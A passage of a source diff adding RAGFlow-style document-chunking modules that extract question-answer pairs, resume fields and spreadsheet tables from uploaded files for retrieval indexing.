from_page=from_page, to_page=to_page, callback=callback) + elif layout_recognizer == "Plain Text": + pdf_parser = PlainParser() + sections, _ = pdf_parser(filename if not binary else binary, from_page=from_page, to_page=to_page, + callback=callback) + else: + vision_model = LLMBundle(kwargs["tenant_id"], LLMType.IMAGE2TEXT, llm_name=layout_recognizer, lang=lang) + pdf_parser = VisionParser(vision_model=vision_model, **kwargs) + sections, _ = pdf_parser(filename if not binary else binary, from_page=from_page, to_page=to_page, + callback=callback) + + callback(0.8, "Finish parsing.") + for pn, (txt, img) in enumerate(sections): + d = copy.deepcopy(doc) + pn += from_page + if img: + d["image"] = img + d["page_num_int"] = [pn + 1] + d["top_int"] = [0] + d["position_int"] = [(pn + 1, 0, img.size[0] if img else 0, 0, img.size[1] if img else 0)] + tokenize(d, txt, eng) + res.append(d) + return res + + raise NotImplementedError( + "file type not supported yet(pptx, pdf supported)") + + +if __name__ == "__main__": + import sys + + def dummy(a, b): + pass + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/qa.py b/rag/app/qa.py new file mode 100644 index 0000000..803baa1 --- /dev/null +++ b/rag/app/qa.py @@ -0,0 +1,471 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import re +import csv +from copy import deepcopy +from io import BytesIO +from timeit import default_timer as timer +from openpyxl import load_workbook + +from deepdoc.parser.utils import get_text +from rag.nlp import is_english, random_choices, qbullets_category, add_positions, has_qbullet, docx_question_level +from rag.nlp import rag_tokenizer, tokenize_table, concat_img +from deepdoc.parser import PdfParser, ExcelParser, DocxParser +from docx import Document +from PIL import Image +from markdown import markdown + +from rag.utils import get_float + + +class Excel(ExcelParser): + def __call__(self, fnm, binary=None, callback=None): + if not binary: + wb = load_workbook(fnm) + else: + wb = load_workbook(BytesIO(binary)) + total = 0 + for sheetname in wb.sheetnames: + total += len(list(wb[sheetname].rows)) + + res, fails = [], [] + for sheetname in wb.sheetnames: + ws = wb[sheetname] + rows = list(ws.rows) + for i, r in enumerate(rows): + q, a = "", "" + for cell in r: + if not cell.value: + continue + if not q: + q = str(cell.value) + elif not a: + a = str(cell.value) + else: + break + if q and a: + res.append((q, a)) + else: + fails.append(str(i + 1)) + if len(res) % 999 == 0: + callback(len(res) * + 0.6 / + total, ("Extract pairs: {}".format(len(res)) + + (f"{len(fails)} failure, line: %s..." % + (",".join(fails[:3])) if fails else ""))) + + callback(0.6, ("Extract pairs: {}. ".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + self.is_english = is_english( + [rmPrefix(q) for q, _ in random_choices(res, k=30) if len(q) > 1]) + return res + + +class Pdf(PdfParser): + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + start = timer() + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback + ) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + logging.debug("OCR({}~{}): {:.2f}s".format(from_page, to_page, timer() - start)) + start = timer() + self._layouts_rec(zoomin, drop=False) + callback(0.63, "Layout analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._table_transformer_job(zoomin) + callback(0.65, "Table analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._text_merge() + callback(0.67, "Text merged ({:.2f}s)".format(timer() - start)) + tbls = self._extract_table_figure(True, zoomin, True, True) + #self._naive_vertical_merge() + # self._concat_downward() + #self._filter_forpages() + logging.debug("layouts: {}".format(timer() - start)) + sections = [b["text"] for b in self.boxes] + bull_x0_list = [] + q_bull, reg = qbullets_category(sections) + if q_bull == -1: + raise ValueError("Unable to recognize Q&A structure.") + qai_list = [] + last_q, last_a, last_tag = '', '', '' + last_index = -1 + last_box = {'text':''} + last_bull = None + def sort_key(element): + tbls_pn = element[1][0][0] + tbls_top = element[1][0][3] + return tbls_pn, tbls_top + tbls.sort(key=sort_key) + tbl_index = 0 + last_pn, last_bottom = 0, 0 + tbl_pn, tbl_left, tbl_right, tbl_top, tbl_bottom, tbl_tag, tbl_text = 1, 0, 0, 0, 0, '@@0\t0\t0\t0\t0##', '' + for box in self.boxes: + section, line_tag = box['text'], self._line_tag(box, zoomin) + has_bull, index = has_qbullet(reg, box, last_box, last_index, last_bull, bull_x0_list) + last_box, last_index, last_bull = box, index, has_bull + line_pn = get_float(line_tag.lstrip('@@').split('\t')[0]) + line_top = get_float(line_tag.rstrip('##').split('\t')[3]) + tbl_pn, tbl_left, tbl_right, tbl_top, tbl_bottom, tbl_tag, tbl_text = self.get_tbls_info(tbls, tbl_index) + if not has_bull: # No question bullet + if not last_q: + if tbl_pn < line_pn or (tbl_pn == line_pn and tbl_top <= line_top): # image passed + tbl_index += 1 + continue + else: + sum_tag = line_tag + sum_section = section + while ((tbl_pn == last_pn and tbl_top>= last_bottom) or (tbl_pn > last_pn)) \ + and ((tbl_pn == line_pn and tbl_top <= line_top) or (tbl_pn < line_pn)): # add image at the middle of current answer + sum_tag = f'{tbl_tag}{sum_tag}' + sum_section = f'{tbl_text}{sum_section}' + tbl_index += 1 + tbl_pn, tbl_left, tbl_right, tbl_top, tbl_bottom, tbl_tag, tbl_text = self.get_tbls_info(tbls, tbl_index) + last_a = f'{last_a}{sum_section}' + last_tag = f'{last_tag}{sum_tag}' + else: + if last_q: + while ((tbl_pn == last_pn and tbl_top>= last_bottom) or (tbl_pn > last_pn)) \ + and ((tbl_pn == line_pn and tbl_top <= line_top) or (tbl_pn < line_pn)): # add image at the end of last answer + last_tag = f'{last_tag}{tbl_tag}' + last_a = f'{last_a}{tbl_text}' + tbl_index += 1 + tbl_pn, tbl_left, tbl_right, tbl_top, tbl_bottom, tbl_tag, tbl_text = self.get_tbls_info(tbls, tbl_index) + image, poss = self.crop(last_tag, need_position=True) + qai_list.append((last_q, last_a, image, poss)) + last_q, last_a, last_tag = '', '', '' + last_q = has_bull.group() + _, end = has_bull.span() + last_a = section[end:] + last_tag = line_tag + last_bottom = float(line_tag.rstrip('##').split('\t')[4]) + last_pn = line_pn + if last_q: + qai_list.append((last_q, last_a, *self.crop(last_tag, need_position=True))) + return qai_list, tbls + + def get_tbls_info(self, tbls, tbl_index): + if tbl_index >= len(tbls): + return 1, 0, 0, 0, 0, '@@0\t0\t0\t0\t0##', '' + tbl_pn = tbls[tbl_index][1][0][0]+1 + tbl_left = tbls[tbl_index][1][0][1] + tbl_right = tbls[tbl_index][1][0][2] + tbl_top = tbls[tbl_index][1][0][3] + tbl_bottom = tbls[tbl_index][1][0][4] + tbl_tag = "@@{}\t{:.1f}\t{:.1f}\t{:.1f}\t{:.1f}##" \ + .format(tbl_pn, tbl_left, tbl_right, tbl_top, tbl_bottom) + _tbl_text = ''.join(tbls[tbl_index][0][1]) + return tbl_pn, tbl_left, tbl_right, tbl_top, tbl_bottom, tbl_tag, _tbl_text + + +class Docx(DocxParser): + def __init__(self): + pass + + def get_picture(self, document, paragraph): + img = paragraph._element.xpath('.//pic:pic') + if not img: + return None + img = img[0] + embed = img.xpath('.//a:blip/@r:embed')[0] + related_part = document.part.related_parts[embed] + image = related_part.image + image = Image.open(BytesIO(image.blob)).convert('RGB') + return image + + def __call__(self, filename, binary=None, from_page=0, to_page=100000, callback=None): + self.doc = Document( + filename) if not binary else Document(BytesIO(binary)) + pn = 0 + last_answer, last_image = "", None + question_stack, level_stack = [], [] + qai_list = [] + for p in self.doc.paragraphs: + if pn > to_page: + break + question_level, p_text = 0, '' + if from_page <= pn < to_page and p.text.strip(): + question_level, p_text = docx_question_level(p) + if not question_level or question_level > 6: # not a question + last_answer = f'{last_answer}\n{p_text}' + current_image = self.get_picture(self.doc, p) + last_image = concat_img(last_image, current_image) + else: # is a question + if last_answer or last_image: + sum_question = '\n'.join(question_stack) + if sum_question: + qai_list.append((sum_question, last_answer, last_image)) + last_answer, last_image = '', None + + i = question_level + while question_stack and i <= level_stack[-1]: + question_stack.pop() + level_stack.pop() + question_stack.append(p_text) + level_stack.append(question_level) + for run in p.runs: + if 'lastRenderedPageBreak' in run._element.xml: + pn += 1 + continue + if 'w:br' in run._element.xml and 'type="page"' in run._element.xml: + pn += 1 + if last_answer: + sum_question = '\n'.join(question_stack) + if sum_question: + qai_list.append((sum_question, last_answer, last_image)) + + tbls = [] + for tb in self.doc.tables: + html= "" + for r in tb.rows: + html += "" + i = 0 + while i < len(r.cells): + span = 1 + c = r.cells[i] + for j in range(i+1, len(r.cells)): + if c.text == r.cells[j].text: + span += 1 + i = j + i += 1 + html += f"" if span == 1 else f"" + html += "" + html += "
{c.text}{c.text}
" + tbls.append(((None, html), "")) + return qai_list, tbls + + +def rmPrefix(txt): + return re.sub( + r"^(问题|答案|回答|user|assistant|Q|A|Question|Answer|问|答)[\t:： ]+", "", txt.strip(), flags=re.IGNORECASE) + + +def beAdocPdf(d, q, a, eng, image, poss): + qprefix = "Question: " if eng else "问题：" + aprefix = "Answer: " if eng else "回答：" + d["content_with_weight"] = "\t".join( + [qprefix + rmPrefix(q), aprefix + rmPrefix(a)]) + d["content_ltks"] = rag_tokenizer.tokenize(q) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + if image: + d["image"] = image + d["doc_type_kwd"] = "image" + add_positions(d, poss) + return d + + +def beAdocDocx(d, q, a, eng, image, row_num=-1): + qprefix = "Question: " if eng else "问题：" + aprefix = "Answer: " if eng else "回答：" + d["content_with_weight"] = "\t".join( + [qprefix + rmPrefix(q), aprefix + rmPrefix(a)]) + d["content_ltks"] = rag_tokenizer.tokenize(q) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + if image: + d["image"] = image + d["doc_type_kwd"] = "image" + if row_num >= 0: + d["top_int"] = [row_num] + return d + + +def beAdoc(d, q, a, eng, row_num=-1): + qprefix = "Question: " if eng else "问题：" + aprefix = "Answer: " if eng else "回答：" + d["content_with_weight"] = "\t".join( + [qprefix + rmPrefix(q), aprefix + rmPrefix(a)]) + d["content_ltks"] = rag_tokenizer.tokenize(q) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + if row_num >= 0: + d["top_int"] = [row_num] + return d + + +def mdQuestionLevel(s): + match = re.match(r'#*', s) + return (len(match.group(0)), s.lstrip('#').lstrip()) if match else (0, s) + + +def chunk(filename, binary=None, from_page=0, to_page=100000, lang="Chinese", callback=None, **kwargs): + """ + Excel and csv(txt) format files are supported. + If the file is in excel format, there should be 2 column question and answer without header. + And question column is ahead of answer column. + And it's O.K if it has multiple sheets as long as the columns are rightly composed. + + If it's in csv format, it should be UTF-8 encoded. Use TAB as delimiter to separate question and answer. + + All the deformed lines will be ignored. + Every pair of Q&A will be treated as a chunk. + """ + eng = lang.lower() == "english" + res = [] + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + if re.search(r"\.xlsx?$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + excel_parser = Excel() + for ii, (q, a) in enumerate(excel_parser(filename, binary, callback)): + res.append(beAdoc(deepcopy(doc), q, a, eng, ii)) + return res + + elif re.search(r"\.(txt)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + lines = txt.split("\n") + comma, tab = 0, 0 + for line in lines: + if len(line.split(",")) == 2: + comma += 1 + if len(line.split("\t")) == 2: + tab += 1 + delimiter = "\t" if tab >= comma else "," + + fails = [] + question, answer = "", "" + i = 0 + while i < len(lines): + arr = lines[i].split(delimiter) + if len(arr) != 2: + if question: + answer += "\n" + lines[i] + else: + fails.append(str(i+1)) + elif len(arr) == 2: + if question and answer: + res.append(beAdoc(deepcopy(doc), question, answer, eng, i)) + question, answer = arr + i += 1 + if len(res) % 999 == 0: + callback(len(res) * 0.6 / len(lines), ("Extract Q&A: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + if question: + res.append(beAdoc(deepcopy(doc), question, answer, eng, len(lines))) + + callback(0.6, ("Extract Q&A: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + return res + + elif re.search(r"\.(csv)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + lines = txt.split("\n") + delimiter = "\t" if any("\t" in line for line in lines) else "," + + fails = [] + question, answer = "", "" + res = [] + reader = csv.reader(lines, delimiter=delimiter) + + for i, row in enumerate(reader): + if len(row) != 2: + if question: + answer += "\n" + lines[i] + else: + fails.append(str(i + 1)) + elif len(row) == 2: + if question and answer: + res.append(beAdoc(deepcopy(doc), question, answer, eng, i)) + question, answer = row + if len(res) % 999 == 0: + callback(len(res) * 0.6 / len(lines), ("Extract Q&A: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + if question: + res.append(beAdoc(deepcopy(doc), question, answer, eng, len(list(reader)))) + + callback(0.6, ("Extract Q&A: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + return res + + elif re.search(r"\.pdf$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + pdf_parser = Pdf() + qai_list, tbls = pdf_parser(filename if not binary else binary, + from_page=from_page, to_page=to_page, callback=callback) + for q, a, image, poss in qai_list: + res.append(beAdocPdf(deepcopy(doc), q, a, eng, image, poss)) + return res + + elif re.search(r"\.(md|markdown)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + lines = txt.split("\n") + _last_question, last_answer = "", "" + question_stack, level_stack = [], [] + code_block = False + for index, line in enumerate(lines): + if line.strip().startswith('```'): + code_block = not code_block + question_level, question = 0, '' + if not code_block: + question_level, question = mdQuestionLevel(line) + + if not question_level or question_level > 6: # not a question + last_answer = f'{last_answer}\n{line}' + else: # is a question + if last_answer.strip(): + sum_question = '\n'.join(question_stack) + if sum_question: + res.append(beAdoc(deepcopy(doc), sum_question, markdown(last_answer, extensions=['markdown.extensions.tables']), eng, index)) + last_answer = '' + + i = question_level + while question_stack and i <= level_stack[-1]: + question_stack.pop() + level_stack.pop() + question_stack.append(question) + level_stack.append(question_level) + if last_answer.strip(): + sum_question = '\n'.join(question_stack) + if sum_question: + res.append(beAdoc(deepcopy(doc), sum_question, markdown(last_answer, extensions=['markdown.extensions.tables']), eng, index)) + return res + + elif re.search(r"\.docx$", filename, re.IGNORECASE): + docx_parser = Docx() + qai_list, tbls = docx_parser(filename, binary, + from_page=0, to_page=10000, callback=callback) + res = tokenize_table(tbls, doc, eng) + for i, (q, a, image) in enumerate(qai_list): + res.append(beAdocDocx(deepcopy(doc), q, a, eng, image, i)) + return res + + raise NotImplementedError( + "Excel, csv(txt), pdf, markdown and docx format files are supported.") + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + chunk(sys.argv[1], from_page=0, to_page=10, callback=dummy) diff --git a/rag/app/resume.py b/rag/app/resume.py new file mode 100644 index 0000000..7c556e0 --- /dev/null +++ b/rag/app/resume.py @@ -0,0 +1,176 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import base64 +import datetime +import json +import re +import pandas as pd +import requests +from api.db.services.knowledgebase_service import KnowledgebaseService +from rag.nlp import rag_tokenizer +from deepdoc.parser.resume import refactor +from deepdoc.parser.resume import step_one, step_two +from rag.utils import rmSpace + +forbidden_select_fields4resume = [ + "name_pinyin_kwd", "edu_first_fea_kwd", "degree_kwd", "sch_rank_kwd", "edu_fea_kwd" +] + + +def remote_call(filename, binary): + q = { + "header": { + "uid": 1, + "user": "kevinhu", + "log_id": filename + }, + "request": { + "p": { + "request_id": "1", + "encrypt_type": "base64", + "filename": filename, + "langtype": '', + "fileori": base64.b64encode(binary).decode('utf-8') + }, + "c": "resume_parse_module", + "m": "resume_parse" + } + } + for _ in range(3): + try: + resume = requests.post( + "http://127.0.0.1:61670/tog", + data=json.dumps(q)) + resume = resume.json()["response"]["results"] + resume = refactor(resume) + for k in ["education", "work", "project", + "training", "skill", "certificate", "language"]: + if not resume.get(k) and k in resume: + del resume[k] + + resume = step_one.refactor(pd.DataFrame([{"resume_content": json.dumps(resume), "tob_resume_id": "x", + "updated_at": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")}])) + resume = step_two.parse(resume) + return resume + except Exception: + logging.exception("Resume parser has not been supported yet!") + return {} + + +def chunk(filename, binary=None, callback=None, **kwargs): + """ + The supported file formats are pdf, docx and txt. + To maximize the effectiveness, parse the resume correctly, please concat us: https://github.com/infiniflow/ragflow + """ + if not re.search(r"\.(pdf|doc|docx|txt)$", filename, flags=re.IGNORECASE): + raise NotImplementedError("file type not supported yet(pdf supported)") + + if not binary: + with open(filename, "rb") as f: + binary = f.read() + + callback(0.2, "Resume parsing is going on...") + resume = remote_call(filename, binary) + if len(resume.keys()) < 7: + callback(-1, "Resume is not successfully parsed.") + raise Exception("Resume parser remote call fail!") + callback(0.6, "Done parsing. Chunking...") + logging.debug("chunking resume: " + json.dumps(resume, ensure_ascii=False, indent=2)) + + field_map = { + "name_kwd": "姓名/名字", + "name_pinyin_kwd": "姓名拼音/名字拼音", + "gender_kwd": "性别（男，女）", + "age_int": "年龄/岁/年纪", + "phone_kwd": "电话/手机/微信", + "email_tks": "email/e-mail/邮箱", + "position_name_tks": "职位/职能/岗位/职责", + "expect_city_names_tks": "期望城市", + "work_exp_flt": "工作年限/工作年份/N年经验/毕业了多少年", + "corporation_name_tks": "最近就职(上班)的公司/上一家公司", + + "first_school_name_tks": "第一学历毕业学校", + "first_degree_kwd": "第一学历（高中，职高，硕士，本科，博士，初中，中技，中专，专科，专升本，MPA，MBA，EMBA）", + "highest_degree_kwd": "最高学历（高中，职高，硕士，本科，博士，初中，中技，中专，专科，专升本，MPA，MBA，EMBA）", + "first_major_tks": "第一学历专业", + "edu_first_fea_kwd": "第一学历标签（211，留学，双一流，985，海外知名，重点大学，中专，专升本，专科，本科，大专）", + + "degree_kwd": "过往学历（高中，职高，硕士，本科，博士，初中，中技，中专，专科，专升本，MPA，MBA，EMBA）", + "major_tks": "学过的专业/过往专业", + "school_name_tks": "学校/毕业院校", + "sch_rank_kwd": "学校标签（顶尖学校，精英学校，优质学校，一般学校）", + "edu_fea_kwd": "教育标签（211，留学，双一流，985，海外知名，重点大学，中专，专升本，专科，本科，大专）", + + "corp_nm_tks": "就职过的公司/之前的公司/上过班的公司", + "edu_end_int": "毕业年份", + "industry_name_tks": "所在行业", + + "birth_dt": "生日/出生年份", + "expect_position_name_tks": "期望职位/期望职能/期望岗位", + } + + titles = [] + for n in ["name_kwd", "gender_kwd", "position_name_tks", "age_int"]: + v = resume.get(n, "") + if isinstance(v, list): + v = v[0] + if n.find("tks") > 0: + v = rmSpace(v) + titles.append(str(v)) + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize("-".join(titles) + "-简历") + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + pairs = [] + for n, m in field_map.items(): + if not resume.get(n): + continue + v = resume[n] + if isinstance(v, list): + v = " ".join(v) + if n.find("tks") > 0: + v = rmSpace(v) + pairs.append((m, str(v))) + + doc["content_with_weight"] = "\n".join( + ["{}: {}".format(re.sub(r"（[^（）]+）", "", k), v) for k, v in pairs]) + doc["content_ltks"] = rag_tokenizer.tokenize(doc["content_with_weight"]) + doc["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(doc["content_ltks"]) + for n, _ in field_map.items(): + if n not in resume: + continue + if isinstance(resume[n], list) and ( + len(resume[n]) == 1 or n not in forbidden_select_fields4resume): + resume[n] = resume[n][0] + if n.find("_tks") > 0: + resume[n] = rag_tokenizer.fine_grained_tokenize(resume[n]) + doc[n] = resume[n] + + logging.debug("chunked resume to " + str(doc)) + KnowledgebaseService.update_parser_config( + kwargs["kb_id"], {"field_map": field_map}) + return [doc] + + +if __name__ == "__main__": + import sys + + def dummy(a, b): + pass + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/table.py b/rag/app/table.py new file mode 100644 index 0000000..b0c3e5b --- /dev/null +++ b/rag/app/table.py @@ -0,0 +1,402 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import copy +import re +from io import BytesIO +from xpinyin import Pinyin +import numpy as np +import pandas as pd +from collections import Counter + +# from openpyxl import load_workbook, Workbook +from dateutil.parser import parse as datetime_parse + +from api.db.services.knowledgebase_service import KnowledgebaseService +from deepdoc.parser.utils import get_text +from rag.nlp import rag_tokenizer, tokenize +from deepdoc.parser import ExcelParser + + +class Excel(ExcelParser): + def __call__(self, fnm, binary=None, from_page=0, to_page=10000000000, callback=None): + if not binary: + wb = Excel._load_excel_to_workbook(fnm) + else: + wb = Excel._load_excel_to_workbook(BytesIO(binary)) + total = 0 + for sheetname in wb.sheetnames: + total += len(list(wb[sheetname].rows)) + res, fails, done = [], [], 0 + rn = 0 + for sheetname in wb.sheetnames: + ws = wb[sheetname] + rows = list(ws.rows) + if not rows: + continue + headers, header_rows = self._parse_headers(ws, rows) + if not headers: + continue + data = [] + for i, r in enumerate(rows[header_rows:]): + rn += 1 + if rn - 1 < from_page: + continue + if rn - 1 >= to_page: + break + row_data = self._extract_row_data(ws, r, header_rows + i, len(headers)) + if row_data is None: + fails.append(str(i)) + continue + if self._is_empty_row(row_data): + continue + data.append(row_data) + done += 1 + if len(data) == 0: + continue + df = pd.DataFrame(data, columns=headers) + res.append(df) + callback(0.3, ("Extract records: {}~{}".format(from_page + 1, min(to_page, from_page + rn)) + (f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + return res + + def _parse_headers(self, ws, rows): + if len(rows) == 0: + return [], 0 + has_complex_structure = self._has_complex_header_structure(ws, rows) + if has_complex_structure: + return self._parse_multi_level_headers(ws, rows) + else: + return self._parse_simple_headers(rows) + + def _has_complex_header_structure(self, ws, rows): + if len(rows) < 1: + return False + merged_ranges = list(ws.merged_cells.ranges) + # 检查前两行是否涉及合并单元格 + for rng in merged_ranges: + if rng.min_row <= 2: # 只要合并区域涉及第1或第2行 + return True + return False + + def _row_looks_like_header(self, row): + header_like_cells = 0 + data_like_cells = 0 + non_empty_cells = 0 + for cell in row: + if cell.value is not None: + non_empty_cells += 1 + val = str(cell.value).strip() + if self._looks_like_header(val): + header_like_cells += 1 + elif self._looks_like_data(val): + data_like_cells += 1 + if non_empty_cells == 0: + return False + return header_like_cells >= data_like_cells + + def _parse_simple_headers(self, rows): + if not rows: + return [], 0 + header_row = rows[0] + headers = [] + for cell in header_row: + if cell.value is not None: + header_value = str(cell.value).strip() + if header_value: + headers.append(header_value) + else: + pass + final_headers = [] + for i, cell in enumerate(header_row): + if cell.value is not None: + header_value = str(cell.value).strip() + if header_value: + final_headers.append(header_value) + else: + final_headers.append(f"Column_{i + 1}") + else: + final_headers.append(f"Column_{i + 1}") + return final_headers, 1 + + def _parse_multi_level_headers(self, ws, rows): + if len(rows) < 2: + return [], 0 + header_rows = self._detect_header_rows(rows) + if header_rows == 1: + return self._parse_simple_headers(rows) + else: + return self._build_hierarchical_headers(ws, rows, header_rows), header_rows + + def _detect_header_rows(self, rows): + if len(rows) < 2: + return 1 + header_rows = 1 + max_check_rows = min(5, len(rows)) + for i in range(1, max_check_rows): + row = rows[i] + if self._row_looks_like_header(row): + header_rows = i + 1 + else: + break + return header_rows + + def _looks_like_header(self, value): + if len(value) < 1: + return False + if any(ord(c) > 127 for c in value): + return True + if len([c for c in value if c.isalpha()]) >= 2: + return True + if any(c in value for c in ["(", ")", "：", ":", "（", "）", "_", "-"]): + return True + return False + + def _looks_like_data(self, value): + if len(value) == 1 and value.upper() in ["Y", "N", "M", "X", "/", "-"]: + return True + if value.replace(".", "").replace("-", "").replace(",", "").isdigit(): + return True + if value.startswith("0x") and len(value) <= 10: + return True + return False + + def _build_hierarchical_headers(self, ws, rows, header_rows): + headers = [] + max_col = max(len(row) for row in rows[:header_rows]) if header_rows > 0 else 0 + merged_ranges = list(ws.merged_cells.ranges) + for col_idx in range(max_col): + header_parts = [] + for row_idx in range(header_rows): + if col_idx < len(rows[row_idx]): + cell_value = rows[row_idx][col_idx].value + merged_value = self._get_merged_cell_value(ws, row_idx + 1, col_idx + 1, merged_ranges) + if merged_value is not None: + cell_value = merged_value + if cell_value is not None: + cell_value = str(cell_value).strip() + if cell_value and cell_value not in header_parts and self._is_valid_header_part(cell_value): + header_parts.append(cell_value) + if header_parts: + header = "-".join(header_parts) + headers.append(header) + else: + headers.append(f"Column_{col_idx + 1}") + final_headers = [h for h in headers if h and h != "-"] + return final_headers + + def _is_valid_header_part(self, value): + if len(value) == 1 and value.upper() in ["Y", "N", "M", "X"]: + return False + if value.replace(".", "").replace("-", "").replace(",", "").isdigit(): + return False + if value in ["/", "-", "+", "*", "="]: + return False + return True + + def _get_merged_cell_value(self, ws, row, col, merged_ranges): + for merged_range in merged_ranges: + if merged_range.min_row <= row <= merged_range.max_row and merged_range.min_col <= col <= merged_range.max_col: + return ws.cell(merged_range.min_row, merged_range.min_col).value + return None + + def _extract_row_data(self, ws, row, absolute_row_idx, expected_cols): + row_data = [] + merged_ranges = list(ws.merged_cells.ranges) + actual_row_num = absolute_row_idx + 1 + for col_idx in range(expected_cols): + cell_value = None + actual_col_num = col_idx + 1 + try: + cell_value = ws.cell(row=actual_row_num, column=actual_col_num).value + except ValueError: + if col_idx < len(row): + cell_value = row[col_idx].value + if cell_value is None: + merged_value = self._get_merged_cell_value(ws, actual_row_num, actual_col_num, merged_ranges) + if merged_value is not None: + cell_value = merged_value + else: + cell_value = self._get_inherited_value(ws, actual_row_num, actual_col_num, merged_ranges) + row_data.append(cell_value) + return row_data + + def _get_inherited_value(self, ws, row, col, merged_ranges): + for merged_range in merged_ranges: + if merged_range.min_row <= row <= merged_range.max_row and merged_range.min_col <= col <= merged_range.max_col: + return ws.cell(merged_range.min_row, merged_range.min_col).value + return None + + def _is_empty_row(self, row_data): + for val in row_data: + if val is not None and str(val).strip() != "": + return False + return True + + +def trans_datatime(s): + try: + return datetime_parse(s.strip()).strftime("%Y-%m-%d %H:%M:%S") + except Exception: + pass + + +def trans_bool(s): + if re.match(r"(true|yes|是|\*|✓|✔|☑|✅|√)$", str(s).strip(), flags=re.IGNORECASE): + return "yes" + if re.match(r"(false|no|否|⍻|×)$", str(s).strip(), flags=re.IGNORECASE): + return "no" + + +def column_data_type(arr): + arr = list(arr) + counts = {"int": 0, "float": 0, "text": 0, "datetime": 0, "bool": 0} + trans = {t: f for f, t in [(int, "int"), (float, "float"), (trans_datatime, "datetime"), (trans_bool, "bool"), (str, "text")]} + float_flag = False + for a in arr: + if a is None: + continue + if re.match(r"[+-]?[0-9]+$", str(a).replace("%%", "")) and not str(a).replace("%%", "").startswith("0"): + counts["int"] += 1 + if int(str(a)) > 2**63 - 1: + float_flag = True + break + elif re.match(r"[+-]?[0-9.]{,19}$", str(a).replace("%%", "")) and not str(a).replace("%%", "").startswith("0"): + counts["float"] += 1 + elif re.match(r"(true|yes|是|\*|✓|✔|☑|✅|√|false|no|否|⍻|×)$", str(a), flags=re.IGNORECASE): + counts["bool"] += 1 + elif trans_datatime(str(a)): + counts["datetime"] += 1 + else: + counts["text"] += 1 + if float_flag: + ty = "float" + else: + counts = sorted(counts.items(), key=lambda x: x[1] * -1) + ty = counts[0][0] + for i in range(len(arr)): + if arr[i] is None: + continue + try: + arr[i] = trans[ty](str(arr[i])) + except Exception: + arr[i] = None + # if ty == "text": + # if len(arr) > 128 and uni / len(arr) < 0.1: + # ty = "keyword" + return arr, ty + + +def chunk(filename, binary=None, from_page=0, to_page=10000000000, lang="Chinese", callback=None, **kwargs): + """ + Excel and csv(txt) format files are supported. + For csv or txt file, the delimiter between columns is TAB. + The first line must be column headers. + Column headers must be meaningful terms inorder to make our NLP model understanding. + It's good to enumerate some synonyms using slash '/' to separate, and even better to + enumerate values using brackets like 'gender/sex(male, female)'. + Here are some examples for headers: + 1. supplier/vendor\tcolor(yellow, red, brown)\tgender/sex(male, female)\tsize(M,L,XL,XXL) + 2. 姓名/名字\t电话/手机/微信\t最高学历（高中，职高，硕士，本科，博士，初中，中技，中专，专科，专升本，MPA，MBA，EMBA） + + Every row in table will be treated as a chunk. + """ + + if re.search(r"\.xlsx?$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + excel_parser = Excel() + dfs = excel_parser(filename, binary, from_page=from_page, to_page=to_page, callback=callback) + 